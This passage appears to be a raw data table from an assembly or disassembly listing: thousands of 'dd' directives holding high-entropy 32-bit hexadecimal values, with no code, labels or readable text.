dd 0BCE5E800h, 442366D8h, 0AF1E1821h, 81A4D8F0h, 0B0A5D905h
dd 0F8C0894Ah, 13DAB672h, 61E9E51Eh, 0E71C7940h, 80EDE487h
dd 0C5D2CFCCh, 0F065851Dh, 0F8E1C806h, 0DF1E02BAh, 0A83D3A3Fh
dd 0DD07C8F0h, 2871EBB9h, 0A8DCCB13h, 636453A1h, 0E70C21EEh
dd 942CC888h, 8A4E60F5h, 0E997BE00h, 11F9ECF4h, 9E7784Ah
dd 8D452CDDh, 4B7A4821h, 343C2455h, 6094FA02h, 5CAB4270h
dd 59C30464h, 1B0897C1h, 3B238810h, 0FD00DFF6h, 94EAF31Fh
dd 5839A524h, 2061B054h, 6011D4C4h, 3C00828Ch, 311F7F53h
dd 3886D3C0h, 92BB4D98h, 5151180h, 4A5820E2h, 90070774h
dd 513FACBBh, 0A880ADC4h, 1F95E0BFh, 3A5D3055h, 0FE08E680h
dd 0FCEC6FC1h, 0B80E7Ah, 0DC00F773h, 6129B0BFh, 70286A03h
dd 83EC1D25h, 0B7194079h, 84AB9204h, 56E83727h, 20490011h
dd 71FC5A08h, 0BC424C00h, 3BDDC206h, 9220047h, 7344805Ch
dd 0C81238B9h, 93074E96h, 6870E1E9h, 5370BE8h, 485CB5F3h
dd 1510C08Dh, 0B200E501h, 9285D703h, 24F3C18h, 0A6C33A7Fh
dd 0BC809887h, 32CFC025h, 6678004h, 44C0BBCBh, 0BD1201h
dd 63852DD8h, 0A066C70Ah, 57D4F200h, 0AC3D2C6Eh, 12C5008Ch
dd 0DAF6E022h, 74047859h, 0F9D9D62Fh, 5FEF2880h, 0C42095C1h
dd 2E1ECEBCh, 14EAD700h, 71295D43h, 46F8A898h, 0DE360308h
dd 0D818940Eh, 245DF199h, 2EA060Ch, 0F31B7000h, 9D99DA1Ch
dd 791973E4h, 0D1D254Bh, 54A60E0h, 2E3FCFE4h, 1ED8813Eh
dd 2C956678h, 4D46971h, 14612E45h, 43B50F0Eh, 0AE8A7h
dd 803B2DC4h, 0CDF188C0h, 7982641Ch, 5A8F0372h, 9FC53D36h
dd 0DBFB7BD8h, 448A7E02h, 486D4831h, 7FDA2E8h, 3909F03Dh
dd 341A9272h, 2000C070h, 3F8C5816h, 46E082h, 14F0A296h
dd 8935609h, 9CC0CBECh, 0FA861977h, 0B4F627E8h, 6B02F060h
dd 0BABFFF00h, 0B6132CA0h, 0A822956Dh, 8055B2DCh, 0FCCDEDCBh
dd 0C37D0998h, 98C0A019h, 0F8484145h, 0A9F60094h, 77AA6018h
dd 5F710069h, 51EFDFD2h, 23050D2Ah, 163E5D76h, 0DDA9F091h
dd 4F18093Eh, 7F3C3481h, 166462D4h, 0CC0014C8h, 10265C33h
dd 7E2B1341h, 0B6688CEEh, 2180B159h, 0C028A692h, 0B1BB5435h
dd 0DA0A7201h, 0AE52F0C3h, 0D9CC4C2Ah, 4A028878h, 30CC3DE9h
dd 0AC5018h, 727367EEh, 5ABED7Ch, 0DEB6910Bh, 0B4A02006h
dd 0C11D8Fh, 1A301BAFh, 0BE6DD6A9h, 0C053324Bh, 48FE825h
dd 69F36077h, 4FBB2510h, 81F98500h, 3DB96E8Ah, 0FC3401FEh
dd 508DC3CEh, 0CBC6787h, 411C4CD0h, 0A14E005Eh, 0EB4783AFh
dd 81EA92F2h, 0BFCD4F6h, 1A07610Bh, 35702210h, 98472698h
dd 67C40802h, 80EE4858h, 0F020DEC8h, 0F1311832h, 153E6847h
dd 0EF089C0Bh, 19E48110h, 0FC30FFC7h, 0D4B8277Ah, 37754810h
dd 0B355A67Dh, 2C74FAC8h, 0E800C422h, 183A12EAh, 7A44F9Eh
dd 0BCA16FB6h, 0A016B243h, 0B7343CC0h, 0A3B00B06h, 26A06107h
dd 2C7510BDh, 0C026CCh, 97B31AE3h, 610C3A41h, 0B8D2315Ah
dd 0DBBD1945h, 0EFE0B021h, 0EF71F9A0h, 5758A470h, 1F0273Ch
dd 0E5200E90h, 0CD080DAh, 0A8D5F38Dh, 1CE6CBA4h, 53156C7Bh
dd 222800EEh, 99EC0C8h, 4EA535Ch, 58E673Fh, 263C9C80h
dd 98CB9063h, 0D77C1FE4h, 52104B62h, 7DC54800h, 6C069792h
dd 21AEACB9h, 3C860019h, 93BBC93Ah, 300FA678h, 38DCD140h
dd 3EA3D670h, 20DA5EEAh, 5DAB4A48h, 0DC7C492Ah, 67196313h
dd 3B610440h, 5D2F81AAh, 0A52C002Ch, 0BD7C40B8h, 0DE01706Ah
dd 648B5B97h, 0DBE07131h, 4A2500C3h, 0D1082D2Ch, 0D500F6CDh
dd 2864BBC0h, 0D8D924h, 0B5BCD6EDh, 36789747h, 0E5A75700h
dd 0AF04D24Dh, 4B8B009Eh, 7F2E3C9Fh, 77002A13h, 0D6C619B9h
dd 76B59Bh, 82E998EDh, 0A03F31C5h, 1EEB3C3Ch, 6B00EED1h
dd 9BB12FF6h, 0F77E0F34h, 19671B0Fh, 0B0F4A1FDh, 0CE05E866h
dd 81C32100h, 0F34CF9EBh, 93AF0050h, 0CD39D99Eh, 0E41687A9h
dd 5001BA9Ch, 0D115D7DAh, 77DC406Ah, 7CECB586h, 0E5718101h
dd 73B434AFh, 0D01D9040h, 391A0063h, 6BB29A97h, 9F4F101h
dd 9B8058B6h, 2C56B6BEh, 482707C6h, 0E090F90Ah, 19765141h
dd 0DDCA6C07h, 1F910431h, 40C26EC7h, 20339C08h, 3C008891h
dd 602CBDAEh, 193A02Eh, 0F4F5D5C4h, 0D41B4367h, 0BC2EEA42h
dd 19009907h, 0EBD12D77h, 54EEE2A5h, 4E0AF493h, 61C0442Bh
dd 3AB7008Bh, 3F2732h, 685A8ADCh, 4204C37h, 0FA0073E6h
dd 70AD241Fh, 2C2CC239h, 90685FD6h, 0E0045B25h, 0C7007008h
dd 560B6487h, 0ADA0C5ECh, 6800BD4Ah, 0FF664146h, 488379F8h
dd 600010DDh, 62863045h, 0DE5EC80Dh, 80D76C80h, 0CC492F4Eh
dd 0FEAB1882h, 0B0AE300h, 0C98800CBh, 7A83DFE0h, 0BE1D577Eh
dd 0FC0F382Ah, 2906E064h, 907C67E4h, 40441ECDh, 86A9C3DEh
dd 738B4AD1h, 0EC4CE4C0h, 1258C960h, 26FA009h, 4065117Dh
dd 0F8F0A9BFh, 78A38701h, 0B826242Ah, 23F184C1h, 0A800C38h
dd 0DEABBE91h, 2EB4FB00h, 4419C2B6h, 0BC75001Eh, 234CADAAh
dd 95717ED4h, 2AB43503h, 0C8131FCCh, 0ACAFD18h, 0AA9DBF3Bh
dd 81811DAAh, 0D01AAF05h, 0BDB0429Bh, 8E091444h, 8053435Eh
dd 24C9D938h, 1E050031h, 0FE3F628Bh, 0FC096A77h, 1004C5EFh
dd 999A38h, 0F202CEB7h, 6F07ECCFh, 8F5B226h, 0E057470Fh
dd 7FC8105Dh, 3D5AE256h, 0A2DC27F8h, 0DC87B500h, 5C8F6811h
dd 0B25E5102h, 80DE2A28h, 0E8554B9Bh, 97D3006Bh, 0E2F83DA8h
dd 0AB004453h, 0DB487D8Dh, 0C335F83h, 30DCCD24h, 0B0A0EA70h
dd 1601774Dh, 0C7736863h, 93E48BFAh, 2C8BBD23h, 6481000h
dd 9A008354h, 38258D21h, 25B1B3D8h, 1C8F0B4Bh, 0E8190240h
dd 0C824F3F8h, 21005839h, 5AB52659h, 0EDEE16ECh, 644E02B2h
dd 34E08954h, 81587B32h, 4E7D1610h, 150C4847h, 0FE02EC91h
dd 8860FBDDh, 9E9003A7h, 7EA65919h, 0FD44B82Ch, 4846303Ch
dd 33D4237h, 2602050Fh, 0FF8076DCh, 2000325Dh, 0C1E0FA03h
dd 3CE5702Dh, 345DC813h, 0E0F43318h, 0D9134A2Fh, 0F0C0C476h
dd 4B8875FDh, 7B54C147h, 723434CFh, 8077C83Eh, 0EB8A38E3h
dd 2891FAh, 7C0A25B7h, 0F262DD7Eh, 4547718h, 42CAE2E1h
dd 0D5A680F1h, 71F629E0h, 16A4BF3h, 69A8DF68h, 7603C53h
dd 0F911E3B9h, 0ABA7E810h, 9E3300AEh, 0CE70E10h, 0C400B6A5h
dd 717A68B5h, 2605E65Eh, 1324704Ch, 0E1480085h, 3B42AFA0h
dd 78795400h, 0CC5D7159h, 0B3A501ECh, 14BF3F46h, 2F24682Fh
dd 9890CBA0h, 3325481h
dd 0C88CB956h, 0FDB32EE6h, 0BC048806h, 0B608918h, 1A32CE3Fh
dd 6040A42Bh, 0E6037FE3h, 4B3981C6h, 0F585F8A2h, 8C9AADh
dd 90281C42h, 0F96A4DEAh, 60A3CB25h, 7DA784B8h, 1C355DF8h
dd 33288D00h, 5BC2190Eh, 7493945Ch, 8B867100h, 0DC6A0676h
dd 992300CBh, 0E1640805h, 963FAC3Dh, 8DE201D7h, 0AA28117Eh
dd 34B3EA40h, 452600A1h, 0D15AFC16h, 820083A8h, 4AA7A3EBh
dd 0F5356h, 0B965AD90h, 0A3375E7h, 0C4F9D203h, 9B42Ch
dd 0BDE102B8h, 19CA4B28h, 0D7EC831Dh, 0B4C41740h, 26750D1Ah
dd 1D83EF9h, 771F120Ch, 0B71180BEh, 2E11CB82h, 0B94A1C57h
dd 90DC2C53h, 69410C30h, 75F990h, 4B08BE15h, 856DE0F4h
dd 0F7AE3900h, 0E8FF0632h, 6E220440h, 0C514B9A7h, 31F40090h
dd 742B4987h, 0DB67AB3Bh, 3D7DE881h, 0F6206011h, 69CEAC64h
dd 61D5202Eh, 5E26EA1h, 0CDB5878h, 1648A81Eh, 0F8E0CBFDh
dd 3319079Fh, 0A6231494h, 18009068h, 0C291A22Fh, 1C82B127h
dd 0C0754A99h, 0BEEEEF41h, 127AFA80h, 17075F00h, 828AE308h
dd 135D7D0Ch, 4E4CFFh, 0A61E40E0h, 0DE3E59C5h, 90E1971Bh
dd 92971401h, 0E46D84CEh, 0DBDABC00h, 0F5DD1D0Dh, 7A79E307h
dd 0E597BEEAh, 0C0A2F600h, 0F74B0B73h, 0FB873102h, 58B88005h
dd 6F5CB3A0h, 0FC10FA00h, 14F3D3F9h, 510D5203h, 4AF83629h
dd 0B2D43F5h, 2E0E445h, 0EAA7DAB3h, 0E920A28Ch, 0F01CB8h
dd 650D87ABh, 31E6FC32h, 0F4756C2Ah, 6FCDCF01h, 9489EE48h
dd 2B7AF0h, 0E6DDF632h, 0F050614h, 4059BE00h, 441B0D18h
dd 0E0C50974h, 0C028DC3h, 0F7224B61h, 85B5303Ch, 0D882575Eh
dd 1745E11h, 0B48F1255h, 0B644F487h, 800163E4h, 383DD59Bh
dd 3196AE3Bh, 22F8A0DBh, 31CB281Eh, 0DC706CC9h, 2B40BDFh
dd 85C0508Eh, 4BEF3A63h, 0C234BA00h, 96A4EA31h, 0A1107BFh
dd 0D01C4D8Ch, 993372EEh, 7ECB9800h, 0F06A6530h, 408F00E0h
dd 0C3B65C55h, 750086BCh, 0D89915CDh, 0C87B23h, 24C7FA1Eh
dd 0DB400E14h, 0A32FF200h, 0F7E353CCh, 802D0EE6h, 2561FB2Ah
dd 2BAFD168h, 0C7DDE000h, 0F218EA27h, 73A300BEh, 0E9B9FD19h
dd 0E50090C4h, 9FC2AB3Dh, 1ECA581Eh, 0C026101Ch, 9D458465h
dd 9700B93Ah, 301222AEh, 488EE74Dh, 0F6052A91h, 0E87937A7h
dd 0AF100918h, 5840A0E0h, 1D7EC122h, 9FA72E9Dh, 0CBE24094h
dd 0BE431889h, 2600017Dh, 0FE8FF355h, 0EF1CF42h, 0A3D22E20h
dd 134032E0h, 209017FFh, 100078F4h, 89A4C2E0h, 265A189Fh
dd 384DE4h, 73CD044Ah, 760031BAh, 0C6AD11EBh, 11FB0BEh
dd 399D1880h, 0E40A8241h, 5D128E78h, 40812E55h, 0F1142AE7h
dd 4FD82C68h, 3D906800h, 88B804h, 0EE2EF862h, 0CE61C2A5h
dd 17734B0Fh, 8E0C3E13h, 90A010D9h, 1EA30128h, 7C2CC1D5h
dd 94C28C0h, 0A014DE52h, 0E0D7FEECh, 0EEB8CB93h, 0FDE2FF81h
dd 7B799DD5h, 948B965Fh, 984F015h, 39143579h, 557A7868h
dd 342D48h, 4338C5BBh, 3754503h, 7D24B41Fh, 38008A88h
dd 0FFE964A2h, 2DE13D6Eh, 0F0097F0h, 0C0B11875h, 0BF9E2C19h
dd 106C8DA1h, 7C23409Eh, 35621639h, 152E68C3h, 0F4ED3DDh
dd 41AD3C59h, 0AEF667C0h, 0B7232A0h, 0EA5050A9h, 0C7EA04E0h
dd 0FFE1A500h, 8A67E746h, 5F301796h, 0A060C709h, 889AD7C2h
dd 0FDF02000h, 68038EA1h, 4621C050h, 90F1F664h, 0CDD06E02h
dd 0E24F4AEEh, 40E45ECAh, 577E7212h, 0BD19948h, 0D3FB3Eh
dd 27CD3104h, 0D86001ABh, 86963C1Ah, 0F0D821EFh, 6A0EC7F6h
dd 0E0195AAFh, 3D6F4DFAh, 8809517h, 0A4CB6ABh, 0F0605Dh
dd 0DC3C2179h, 904FADAFh, 0E25B0FEAh, 0EC67FE29h, 3DAC90F4h
dd 252486D8h, 0F081785Dh, 65B6590Ah, 0BE6C046Eh, 9D770547h
dd 0E9D19420h, 0A4042A5Ch, 84CA00BCh, 4B548AB2h, 8E26F1A8h
dd 1801B8FBh, 0CDCC59Bh, 17BA4920h, 0E0AA7CB2h, 91F0C2A0h
dd 0A56CFD18h, 4DBFEEh, 6B139AB2h, 83A68830h, 11D0E830h
dd 0B3E3C6h, 0E153FCC3h, 345CC715h, 1F6F5400h, 9BF0FAA8h
dd 0E4697D73h, 12840036h, 0BABCCF31h, 47033B48h, 0B9C0E855h
dd 0D9F9A065h, 91790758h, 0A0A0EC41h, 5D70108Bh, 0C2B7EA0Bh
dd 0AB9C01BDh, 0B4246B79h, 8620002Ah, 6787D769h, 0A800F606h
dd 6307CD95h, 14B8842h, 0C01139CEh, 6435A533h, 8595D3B8h
dd 10B0FD80h, 0DD4E1780h, 80F45D2Eh, 0F6A58644h, 901EA67h
dd 703CBE1Bh, 1CFE6FEh, 9A11EF79h, 70A5DBBBh, 6E783476h
dd 0C4380703h, 0CFED4716h, 20842089h, 6E76703Fh, 8AA920B2h
dd 7474385Eh, 924E0098h, 1B80D353h, 0F7007825h, 0B5950521h
dd 0FE72A662h, 35ED2807h, 64493438h, 2003AE38h, 6BDA291h
dd 90F81618h, 0B00A878h, 0EBBE3BA8h, 6A95B6h, 0DA34F14Bh
dd 1018CC12h, 16C8901Eh, 6438EDCAh, 92202B90h, 364CC195h
dd 0FDC7C510h, 6DB4F00h, 444D6224h, 64940009h, 6FE8E37Fh
dd 4B00E534h, 0C3ABC71h, 0B64EF3h, 3EEA3912h, 0F89A3FE3h
dd 1B1DFE00h, 0D2F3B062h, 25FC0Fh, 0C7E6A9D6h, 0C4BE077Eh
dd 5398ED54h, 0ADB71400h, 0EC452F0Eh, 5F1600C7h, 3B189793h
dd 1D2AEE34h, 6A1CA8EAh, 6E4010B5h, 0F8DE7829h, 0E018C250h
dd 0C090F7F2h, 0BD4834C7h, 219000C5h, 0ED135D85h, 0CFFD0C0Eh
dd 66CEE133h, 6B290092h, 7B1F8C6Fh, 0E50C7579h, 51ECC51Bh
dd 0BCD00063h, 8C170AF8h, 700475Fh, 43B8C265h, 30FED56h
dd 0ACB3F723h, 37C02217h, 0A7000164h, 9E351DF0h, 0CEDC78h
dd 94BAE8EAh, 3677AC3h, 1FEE421Ch, 0DF9CD9B0h, 949E1F6Eh
dd 0F6F209B9h, 0BDA04C00h, 461ECF21h, 991824A3h, 0CDBBA9h
dd 0AB01909Eh, 61504D13h, 416B690Ch, 0C39FE8B6h, 81669429h
dd 6252E901h, 0D6C52764h, 5429D980h, 0EDF63C47h, 0C9D0A102h
dd 0A02A5B9Ch, 0E4A0C5BCh, 8DDB0050h, 1B3266B0h, 0AC1E13BFh
dd 39C05435h, 6ED27987h, 5E110118h, 0F1D3C107h, 8FD7D1AEh
dd 80997208h, 7CA638CEh, 327493h, 0B4A08A6Bh, 0A85F9178h
dd 317C87F8h, 5D9D1007h, 8FFF77B3h, 80C607B4h, 106C46h
dd 0A1D87DA3h, 49D379E7h, 0AB03F100h, 8F67AC51h, 0A4B5002Dh
dd 5EA762CEh, 0B33C63A2h, 0A532037Ch, 0D7319E60h, 0C7086E86h
dd 0B7A33630h, 0F0ADC791h, 6BB04DCEh, 0F8359C01h, 0F92F9D78h
dd 41E6449h, 4DB8E0BBh, 0C610C31Ah, 1918B78Ah, 7A218D07h
dd 80DC0E0Bh, 5520C6DAh, 0F27469A7h, 41625A00h, 96B40242h
dd 167E0Fh, 0CFCBA8F7h, 304CAE63h, 11690E60h, 3B5FD7Bh
dd 0D39C8A83h, 8337270h, 0E8CC2114h, 0F08EFDh, 84C7FEA6h
dd 59F722FBh, 81611739h, 697C85E3h, 0B0C72765h, 309A18BCh
dd 0FE49B3B8h, 0D8613A33h, 154E96B0h, 321459BEh, 0C830748Fh
dd 3960CDF9h, 0C90D4300h, 7EAB1733h, 77520072h, 54028093h
dd 0A418F32Fh, 535009D9h, 0D8238BB4h, 0FD770150h, 186A83B9h
dd 7FB0881Dh, 83ADFD00h, 0F3EECB2Bh, 7C980AA5h, 194C6F7h
dd 9AE23384h, 64188EF2h, 0EE01902Bh, 9B551C0Eh, 821083DDh
dd 3D48F33h, 0C0D83B40h, 0D93BBE06h, 774D80A1h, 0B2AC8C1Bh
dd 8946E40h, 898021F8h, 4A424D06h, 1991B31h, 0ED3DA42Dh
dd 0F4CB4E7Eh, 0F60159C4h, 6E965738h, 0C5E473D5h, 0D2CC0299h
dd 0E28CC6BDh, 0C0880C48h, 0B1E88118h, 6BCE11h, 4C27D313h
dd 7C2F0DF4h, 21C308CCh, 13520170h, 4D91297Ah, 0FC81800Bh
dd 2D653FE5h, 0DC9A551Bh
dd 0E28750F0h, 8EBCA097h, 136414C3h, 0E80A80C9h, 7440C06Fh
dd 0E100B946h, 0CF1A1490h, 8514737Eh, 83903101h, 18FE4696h
dd 39A7E899h, 0C401287Dh, 0E1B0B892h, 198ED20Dh, 0B1D809AEh
dd 6B1E874Eh, 0A980DD1Fh, 0ADF65E01h, 9006E4EFh, 87460C50h
dd 88201D4Bh, 0F1A9A01Fh, 17990F84h, 0A72F5203h, 2D3491DCh
dd 0C63020D0h, 0BE137D18h, 285B8AF8h, 5FCEBBFh, 86FFA3C0h
dd 3B984C40h, 83314390h, 0CFB820C5h, 93E59983h, 0CDA04673h
dd 0CE60BC21h, 0EB58F019h, 47762810h, 2BD46A4h, 27CF1367h
dd 10B5312Ch, 3134E64h, 0BC4C9029h, 1900BDE3h, 601ACF84h
dd 0E03F017Ch, 90F338ABh, 28F55681h, 223AEEA6h, 30A5F258h
dd 75003AC0h, 0EC918515h, 1161AB9h, 18C6AC84h, 40DC677Dh
dd 57338890h, 4DE080ABh, 18C6A49Fh, 0AA1DA2Fh, 9D60727h
dd 7DD20EB8h, 66B79D40h, 4B07B029h, 649B8F5Bh, 670FE034h
dd 18DCB059h, 7B4D08BCh, 8FC4AC1Bh, 4D857C40h, 6106BED0h
dd 0F39743BBh, 0C7EE90h, 1691E736h, 93BD8FF7h, 12D2AC3Eh
dd 38400931h, 8453A343h, 5587247h, 0BB7E6C04h, 0CED840C2h
dd 10143616h, 5CB49001h, 4478AA17h, 1373C4h, 2708A02Ch
dd 58D1F3BCh, 5E70E800h, 594B5FCDh, 98150E8Fh, 0CC8CBD78h
dd 0A603051h, 90CE5879h, 358E02E7h, 632F53F3h, 8881544Ah
dd 3AF1754h, 0E67BE188h, 9355B050h, 7E8180C4h, 0DA12527Fh
dd 0E02117BDh, 40E1A0C6h, 0EFB90843h, 19287086h, 20C7638Eh
dd 0A781815h, 0A8E38868h, 0EA1B80D8h, 9D982074h, 0DC59281Eh
dd 0AE624882h, 4BC6C4Eh, 83B7FD8Dh, 2015629Ah, 0EBFD75C6h
dd 21A5F8E5h, 0D252A402h, 432B8425h, 1AD02893h, 70CA06E4h
dd 0D8CB3755h, 29BDC13Eh, 11198C5h, 0A6376A00h, 140BE4B5h
dd 0FB52D500h, 0EA4C8610h, 83670041h, 0F0A99DB2h, 0AC9CB875h
dd 0BD02F792h, 61745161h, 0A83458A4h, 8E21C7FDh, 0FE5C50D9h
dd 0EC12C7CFh, 54011B71h, 32AD874Ch, 788EC844h, 50C0BB88h
dd 34A6FCh, 17BA3FF9h, 6518C45Bh, 0E8C52F33h, 0FEEBC9F0h
dd 8C68441h, 0AC4F3C30h, 0FD8C04B0h, 62A283B6h, 74C72016h
dd 73006FFDh, 0F7E17EA4h, 62F47DB1h, 0EC1C8A9h, 0B6B04A00h
dd 629829C9h, 191D5930h, 243BBBFCh, 4E40E4CFh, 44DE51EFh
dd 939B06D1h, 0AAF01CC0h, 0EC0FDAD6h, 0C3C2B297h, 7E36384h
dd 0E45869E1h, 88C0964Eh, 79025246h, 7A83BBFDh, 0CA101831h
dd 4707FD81h, 158B3D94h, 9C0703h, 16A68779h, 6082FA1Eh
dd 741E9F4Ch, 2320964Ch, 4DBA01DAh, 18BC1B79h, 838288A8h
dd 0EC5B4D00h, 16F7186Ch, 0BA461353h, 23442F3Bh, 0A26803A9h
dd 0BBA13BCEh, 0D03424CDh, 12E53C04h, 2882969Fh, 13693087h
dd 7C27D911h, 6E80B888h, 76F81350h, 1BC01E7Dh, 3CD14236h
dd 5CC09333h, 0F76243BDh, 5184C669h, 0DBC94020h, 0B5E6AC1Dh
dd 5000FFEh, 0BDD04366h, 1E8AAB6h, 0DF3AF2C6h, 62AC5C40h
dd 0E4BE2EB4h, 14AF1608h, 12BCDC63h, 56CF008Ch, 0ADEBA37Ch
dd 510C72F2h, 0B8BF0B97h, 0CABB223Eh, 0BD00ADF2h, 0D524C998h
dd 3F804F13h, 321D607Eh, 0CB95E21h, 17D19107h, 6C1A400h
dd 0C87815B3h, 0B27A01ECh, 522D6A9Ch, 0CC85EE51h, 0DBE008C6h
dd 784DB9C0h, 2284461Bh, 828300AAh, 0A4640D4Dh, 0E90CBF18h
dd 883EFE06h, 91FC1785h, 0E454274Ah, 863740A6h, 0F6CB9011h
dd 8D7F02E6h, 29018863h, 0B8613C81h, 91C0316Bh, 7E0096C9h
dd 0F546F6A7h, 0DE00A198h, 2B2585B4h, 0B87AD73Fh, 466890CCh
dd 9DD487Fh, 0B3C4516Bh, 9847BC68h, 0FF5650DBh, 5068ED1h
dd 33E0FA6Dh, 63F407C0h, 40644B58h, 0C3AB2F51h, 0D0ADC4A0h
dd 74F0AA14h, 0D2029234h, 937C5166h, 0F28234h, 36F1D68Dh
dd 17DDB58h, 5BA43307h, 0F820FFB3h, 0C728A50Fh, 9360B8FFh
dd 0E70DD3h, 0D734D1F5h, 0B109DA70h, 0ADF42D12h, 0C0BE9C08h
dd 27D21366h, 0B6224446h, 0AC6548h, 0D6664E6Fh, 2F28E5Eh
dd 0F276BDBh, 0F46811B9h, 91519F2Fh, 0C4CC0C84h, 0F4020A00h
dd 0CA3C95E7h, 983303D8h, 0F0D114A7h, 0A86C3826h, 4174674h
dd 0B8A8A726h, 72B0CC8h, 2A4C9EC2h, 0CCBB62A4h, 70C4A08Ah
dd 4684AEE3h, 0FD760251h, 677283C0h, 7EB107E4h, 280162FDh
dd 0D4B04844h, 0B84698D3h, 1199A07h, 0A9CEDE92h, 74653E75h
dd 2951F56Ch, 0FC53EEACh, 0F56DC70h, 98037802h, 0BA01F50Bh
dd 0ECE18A05h, 80ED30BDh, 83F141A9h, 15A801Ch, 9F7C706Bh
dd 9DD0EC2Bh, 0ABCAA089h, 140790F2h, 0C794F155h, 18F074E6h
dd 8474BF5Ah, 3628DE01h, 0C223072Ah, 14B2C463h, 87F030h
dd 212C2D94h, 596DAC0h, 0C63FBD15h, 0C0B728F4h, 40F70CFBh
dd 0DCB2D0B4h, 24DFAD04h, 6A09A4A1h, 0B41BCF84h, 40184A74h
dd 0CA419206h, 4BE732Dh, 0D9571E07h, 7D00801Ah, 0F7189489h
dd 14298E06h, 18E4390Eh, 988BB00h, 1561101Ch, 46437003h
dd 0F86DCFA5h, 75B96676h, 0F0D0C08Bh, 0D65196AEh, 0FE24709Ah
dd 55611C25h, 8400C6A3h, 0EF4E675Bh, 0C0C18848h, 1B764DBFh
dd 302C944Bh, 4D880081h, 6CAFFAF4h, 0CB01EFC7h, 451B97CDh
dd 6097DF5Fh, 0CBC6F24h, 6E0B98E7h, 56833CA3h, 551B5F83h
dd 5800C7C3h, 8B02FD1h, 3BBD0A30h, 41E289C6h, 8481365Fh
dd 52F39C9Ah, 8082C7BCh, 7408D8B8h, 8E465Ch, 1484227Eh
dd 50D11727h, 2987F01Ch, 0E83D01h, 80C08251h, 0D331E891h
dd 2BFE0876h, 6B3F1822h, 0B77003CAh, 0F89A5B05h, 4B60BC82h
dd 3079A461h, 0F78C81B8h, 585165D4h, 92E114D4h, 8FE0D7DDh
dd 0B7542B03h, 880851E4h, 809807DAh, 4943B80h, 0F2016FD9h
dd 72E20C6Dh, 342C8FADh, 1D24111h, 68786BB7h, 9DEA0C51h
dd 808F1194h, 84F45CABh, 0A2C10133h, 0D7C9A5EFh, 0CA042140h
dd 13136830h, 8B5427D4h, 536F0094h, 0B24FF313h, 0A6E322DCh
dd 0E437CA00h, 812E5AFDh, 0BE1A0AE5h, 5E58AC93h, 0AD00A446h
dd 2223A35Bh, 0C7077F0Eh, 85B90207h, 54D0A7B4h, 9E2B6518h
dd 8D01724h, 5280C578h, 0C445FFA0h, 6DD33955h, 1CA8FB82h
dd 1C61C054h, 66608C2h, 0E8963D56h, 460BC9A4h, 805F8954h
dd 3E6BBB8Ch, 63D4E7C4h, 47C9CAFh, 0B0581D14h, 6CB1D134h
dd 0FE637081h, 0B8F81BFCh, 13A90191h, 21EF278Ah, 1FB60705h
dd 80D97E10h, 30907458h, 0C69180A8h, 0C365861Ah, 79607150h
dd 0D118B9h, 0EF15BECCh, 0C0B00BFCh, 41098E77h, 2B60AA3Eh
dd 11DC1D20h, 0C1AA8F8Dh, 7B5F3749h, 5C341C71h, 0D11CB9A5h
dd 4B218C3h, 45896D1h, 1084CEAEh, 8804A9EBh, 8DC4433Bh
dd 84CC2CA0h, 0C0E0BA70h, 7124A031h, 9190127h, 29680BF1h
dd 0C79C20FBh, 0B838A063h, 1E31226Bh, 7649700h, 0F77E62B2h
dd 9DCC00FDh, 14A8AD7Ch, 0B71A931Eh, 0BA68E115h, 595C51C0h
dd 30C9188Eh, 9D16E576h, 989AE764h, 0E35B8209h, 4D38A4FBh
dd 7188CE2h, 712A4197h, 0F72C0477h, 3300F774h, 6DB6AC12h
dd 0FEF10586h, 27D6D83Ah, 8D4DE048h, 12875C1Bh, 12C0147Eh
dd 0BD257904h, 81A0F217h, 0CB93923Eh, 2C09EEE4h, 17CC0DDEh
dd 23083AEFh, 2FF10015h, 4E31537Eh, 0FB9F0604h, 893ABE8h
dd 2092E079h, 330F0046h, 214D738Ch, 0C815E37Bh, 0A838626Bh
dd 4EF93F5Dh, 94FE4B80h, 27018135h, 0B88C489Ch, 49F1C3h
dd 0CAD6655h, 0D5DE1FF5h, 25ACD700h, 0D6212A4h, 8AD41EBFh
dd 5F7FCB66h, 7312040h
dd 7CEC6CFDh, 72A87C02h, 89638018h, 0C6AC038Fh, 434BE92Eh
dd 0E97CC047h, 0CA9F7BEh, 177E0B9Ch, 0FEEEB498h, 0C600A0B4h
dd 28514B0Eh, 696D603Fh, 0BCA23053h, 0A3099900h, 0EEBABF54h
dd 0EF5D00F6h, 0DADB758Ch, 11006E1Ah, 0E3D329C4h, 1FEAE131h
dd 40EFBA6Ch, 1B08830Dh, 0A600373Eh, 84E6095Fh, 787E40D3h
dd 0B0E53AA7h, 0FD595E80h, 3ED64C67h, 0E3B5A300h, 87D2E149h
dd 0CA030077h, 15FFFA02h, 0EE004C12h, 0EF85AD90h, 409B6Ah
dd 8DB591A2h, 87D6BCE4h, 48F6B25h, 0AD0268FCh, 9C523166h
dd 7946DB00h, 0E87BA32Dh, 0E7153B0Ah, 4332F181h, 0C9CB0D8Ch
dd 2962F9B7h, 167ACC8h, 2DFE2FD0h, 0DC9336E0h, 96602B84h
dd 0F1608F90h, 77731E9Ch, 7C1027DAh, 8600C2EDh, 0CD5208BEh
dd 92A181h, 231AD25Bh, 4B638DACh, 7C416CAAh, 8641884h
dd 3427D013h, 7340C2C4h, 8EDF134Fh, 382E98B6h, 0CBD51740h
dd 0E2579FAh, 9F07BDAAh, 0FAB5560h, 0C5E22751h, 5180258h
dd 0E0FF6BBAh, 7DC048DBh, 0CF330D59h, 4A557888h, 0E868827Bh
dd 57725480h, 990093FCh, 0DFC63A59h, 0D47D67h, 0B996E6C0h
dd 94564B0Bh, 0B8AFC903h, 0DF2FFD70h, 467488DAh, 351407B8h
dd 0BF637245h, 8F8CD83Ah, 401C92A4h, 9E98AE93h, 0CE6C1500h
dd 0FC643216h, 1FB50054h, 0E8F3B861h, 6726F65Dh, 4674844Bh
dd 979F008Fh, 24AFD0A5h, 0B4A750D5h, 87943AE2h, 30B1849h
dd 2C450B39h, 5160B6E4h, 9A12E5EAh, 38970747h, 8D71406Fh
dd 0B989C7D6h, 3EBD0BA0h, 3CB1F8B0h, 9001A930h, 5BBD96E0h
dd 0E2DC283Dh, 0E6CD101Fh, 0AA85E582h, 8B6960FAh, 0C6520297h
dd 44231F84h, 0CE427871h, 76F854AFh, 56001946h, 0DED88D22h
dd 500D3EF8h, 61BFE382h, 6E5F60h, 0D8B86B58h, 0FEDFBDD3h
dd 0E7CDB90Eh, 921C0321h, 0C229C9E8h, 137FE03Dh, 305076D2h
dd 0BCA3FE10h, 453D7F01h, 0E160841h, 12652CCCh, 209CACCh
